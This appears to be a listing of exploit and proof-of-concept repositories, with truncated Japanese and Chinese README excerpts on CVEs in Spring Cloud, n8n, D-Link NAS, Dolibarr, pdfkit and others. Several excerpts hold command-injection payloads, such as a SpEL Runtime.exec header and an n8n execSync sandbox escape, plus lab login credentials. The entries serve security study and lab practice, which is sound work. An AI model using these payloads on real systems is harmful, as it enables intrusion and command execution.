CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL式インジェクションコマンド実行エクスプロイト 使用法：python3 CVE-2022-22947.py -u "http://127.0.0.1:8080" -c "whoami" 結果： 悪意のあるSpEL式ルートの追加に成功しました！ ルートのリフレッシュに成功しました！ 攻撃結果の取得に成功しました: ================================================ root ================================================...

cve-2024-4577

CVE-2024-4577 脆弱性テストスクリプト このPythonスクリプトは、PHPの最新の脆弱性であるCVE-2024-4577を診断するためのシンプルなPoC（Proof of Concept）ツールです。 ⚠️ 本ツールはセキュリティ診断目的 で提供されており、自分が所有するシステム または事前に許可を得た対象にのみ使用 してください。 📌 概要 この脆弱性は、PHPがWindows環境でCGIモードで動作する際に、マルチバイト文字のバイパスを利用して 任意のPHP設定を注入し、コード実行を誘発できる問題です。...

n8n-cve-2025-68613-thm

CVE-2025-68613 – n8n 严重远程代码执行漏洞利用 概述 本仓库记录了对 CVE-2025-68613 CVSS 9.9 的实操利用过程，该漏洞是影响 n8n 工作流自动化平台 （版本 0.211.0 至 1.120.3）的一个严重远程代码执行漏洞。 此次利用在受控的 TryHackMe 实验环境 中 遵循道德规范 执行，仅用于教育目的。 漏洞摘要 字段| 值 ---|--- CVE ID| CVE-2025-68613 CVSS 分数| 9.9（严重） 公开日期| 2025年12月19日 受影响产品| n8n 工作流自动化平台 漏洞类型| 表达式注入 → 沙箱逃逸 →...

CVE-2025-63585

CVE-2025-63585 /action/rtcomments/status 中的盲时间型 SQL 注入（参数：timestamp） 在 /action/rtcomments/status 端点的 timestamp 参数中发现了一个盲时间型 SQL 注入漏洞。能够提供此参数的认证攻击者可能能够执行任意 SQL 查询，从而可能泄露或修改敏感数据。 影响： 数据泄露、数据篡改、权限提升,通过延时查询可能导致的拒绝服务 DoS（取决于数据库权限）。 缓解措施： 将 OSSN 升级到 8.9 或更高版本。此外，确保应用程序对所有数据库访问使用参数化查询/预编译语句，严格验证 timesta...

CVE-2022-22963-PoC

CVE-2022-22963 RCE PoC CVE-2022-22963 のリモートコード実行を再現する最小限の例（org.springframework.cloud:spring-cloud-function-core における）。 エクスプロイト サーバーの起動 mvn spring-boot:run リクエストの送信 curl -X POST -H 'spring.cloud.function.routing-expression: Tjava.lang.Runtime.getRuntime.exec"touch PWNED"' -d xxx...

Multi-Stage-Exploitation-and-Detection-Engineering-Analysis-of-CVE-2023-34362-in-MOVEit-Transfer

CVE-2023-34362 MOVEit Transfer 漏洞分析 项目概述 此仓库包含对 CVE-2023-34362 的学术技术分析，这是一个影响 MOVEit Transfer 的严重 SQL 注入漏洞。 该项目是为 CYB625 – 道德黑客与渗透测试 准备的。 重要说明 此仓库不 包含利用代码。 此处包含的代码是防御性和教育性的。它演示了如何在 SOC 风格的工作流程中从日志中检测可疑的 Web 请求和可能的 SQL 注入指示器。 仓库结构 paper/ presentation/ visuals/ detection-lab/ 检测实验室 检测实验室包含： 示例 Web...

cve-2025-24514

🔥 CVE-2025-24514 リモート脆弱性検証 PoC このスクリプトは、CVE-2025-24514 脆弱性（ingress-nginx の auth-url インジェクションによる NGINX 設定操作および RCE の可能性）について リモートで検証 できる Python ベースの PoC です。 🧠 脆弱性の概要 CVE-2025-24514 は、Kubernetes Ingress Controller の ingress-nginx において、nginx.ingress.kubernetes.io/auth-url アノテーションを介して NGINX 設定が意図せず注入...

CVE-2022-33891-EXPLOIT

CVE-2022-33891 - Apache Spark UI リモートコード実行 RCE 🔐 Apache Spark UI は、CVE-2022-33891 として識別されるリモートコマンドインジェクションの脆弱性の影響を受けます。この欠陥は、ユーザー認証とアクセス制御の不適切な処理、特にアクセス制御リスト（ACL）が有効になっている場合に発生します。spark.acls.enable 設定オプションを通じて ACL...

CVE-2024-3273-EXPLOIT

CVE-2024-3273 - D-Link 远程代码执行 RCE 💥 一个被归类为 CVE-2024-3273 的严重漏洞被发现存在于多款 D-Link NAS 设备中，包括 DNS-320L、DNS-325、DNS-327L 和 DNS-340L，截至 20240403 日期。该漏洞影响组件 HTTP GET 请求处理程序中的文件 /cgi-bin/nassharing.cgi 的未知功能。它允许通过对系统参数的操作进行命令注入，构成重大安全风险。该漏洞可通过远程方式利用，使其尤为危险。 受影响的设备 ⚠️ 以下 D-Link NAS 设备受影响： DNS-320L DNS-325...

CVE-2024-10914-EXPLOIT

CVE-2024-10914 - D-Link リモートコード実行（RCE） このリポジトリには、D-Link NAS デバイスに影響する重大な脆弱性の概念実証（PoC）エクスプロイトが含まれています。CVE-2024-10914 として追跡されているこのバグは、次のモデルに影響します： D-Link DNS-320 D-Link DNS-320LW D-Link DNS-325 D-Link DNS-340L この脆弱性は、/cgi-bin/accountmgr.cgi スクリプトの一部である cgiuseradd という関数に存在します。 このバグは、システムコマンドで使用される前に...

CVE-2022-34753-EXPLOIT

CVE-2022-34753 - SpaceLogic C-Bus Home Controller における OS コマンドインジェクション CVE-2022-34753 は、CWE-78 に分類される重大なセキュリティ脆弱性であり、「OS コマンドで使用される特殊要素の不適切な無効化」（一般に「OS コマンドインジェクション」と呼ばれる）を示しています。この脆弱性は、影響を受けるコマンドが侵害された場合、リモートからの root 権限での悪用につながる可能性があるため、重大なリスクをもたらします。 影響を受ける製品 この脆弱性は以下の製品に影響を与えます： Product Name:...

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 远程代码执行 针对 Dolibarr ERP/CRM v17.0.0 的 PHP 代码注入利用程序，允许通过 Website/CMS 模块以 www-data 用户身份获得 反向 shell 。 ⚠️ 仅限教育用途和授权审计。 📑 目录 什么是 CVE-2023-30253？ 漏洞如何工作？ 影响 此利用程序做什么？ 要求 安装 用法 实际示例 利用程序逐步说明 缓解措施 参考 🔍 什么是 CVE-2023-30253？ CVE-2023-30253 是 Dolibarr ERP/CRM 版本低于 17.0....

CVE-2022-25765-exploit

CVE-2022-25765 — pdfkitのコマンドインジェクション 説明 CVE-2022-25765 は、pdfkit （Ruby gem）のバージョン 0.8.7.2 に影響するコマンドインジェクション 脆弱性です。この脆弱性は CRITICAL の深刻度（CVSS 9.8）を持ち、認証なしでリモートからコマンドを実行できます。 問題は、pdfkit が url パラメータをサニタイズせずに直接シェルに渡すことにあります。ライブラリは内部で wkhtmltopdf を次のようなコマンドで実行します。 system"wkhtmltopdf --quiet ... 'url'...

Creating-a-Vulnerable-Docker-Environment-CVE-2023-30212-

脆弱なDocker環境の作成 - CVE-2023-30212- git cloneを使ってリポジトリからファイルをダウンロード git clone https://github.com/JasaluRah/Creating-a-Vulnerable-Docker-Environment-CVE-2023-30212-.git 次にDockerイメージを設定します Dockerイメージの作成 次のコマンドを使用します: sudo docker build -t work . Dockerコンテナを実行するには 次のコマンドを使用します: sudo docker run -d -p 80:...

CVE-2025-59424

CVE-2025-59424 LinkAce の /system/audit ページにおける保存型クロスサイトスクリプティング（XSS）...

n8n-CVE-2025-68613-TryHackMe

TryHackMe ルーム: n8n: CVE-2025-68613 プレイヤー: J4ck3LSyN ホスト: ... ユーザー名: [email protected] パスワード: Try12345! 方法 ペイロード: function return this.process.mainModule.require'childprocess'.execSync'cat flag.txt'.toString ペイロード 2: function return this.process.mainModule.require'childprocess'.execSync'cat...

Simple-CTF-Writeup

Simple-CTF-Writeup 专业的 TryHackMe Simple CTF 通关指南，涵盖枚举、CMS Made Simple SQL 注入（CVE-2019-9053）、凭据恢复、SSH 访问、通过 Vim 进行权限提升以及获取 root 权限。 TryHackMe - Simple CTF Writeup 这是 TryHackMe 上 Simple CTF 房间的完整通关指南，涵盖侦察、枚举、漏洞利用、凭据恢复、权限提升以及获取 flag。 房间信息 字段| 值 ---|--- 平台| TryHackMe 房间名称| Simple CTF 难度| 简单 分类| Web...

CVE-2020-10128

CVE-2020-10128 - V-9.2.1より前のSearchBlox製品は、保存型クロスサイトスクリプティングに対して脆弱です 製品説明: SearchBloxは、複雑な組織向けのエンタープライズ検索を簡素化します。SearchBloxの直感的でインテリジェントなツールは、すぐに使えるセットアップ、安全な暗号化、低い総所有コストを提供します。AIを活用したソリューションは、検索ジャーニーの各ステップを最適化し、エンゲージメントを劇的に向上させます。SearchBloxは、金融サービス、ヘルスケア、政府のリーダーにとって簡単な選択です。 説明:...

s2-048

s2-048 s2-048（CVE-2017-9791）のエクスプロイトです。 / \ \ / / | | \ / / | | / \ / / | | | \ \ / /| | | | | | | / /| | / / | | | | \ V / | ||/ /| || | | / /, |/ / , | | | / || ||/||// //// //|| poc:...

CVE-2023-49496_PoC

CVE-2023-49496PoC 説明 UCServerは、先進的な統合コミュニケーションサーバーです。上海澍品信息科技有限公司のUCServerにはSQLインジェクションの脆弱性が存在し、攻撃者はこの脆弱性を悪用してデータベースの機密情報を取得する可能性があります。 POC POST /login/wwxcorpInfo/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded Accept: application/json, text/javascript, /; q=0.01 X-Requested-With:...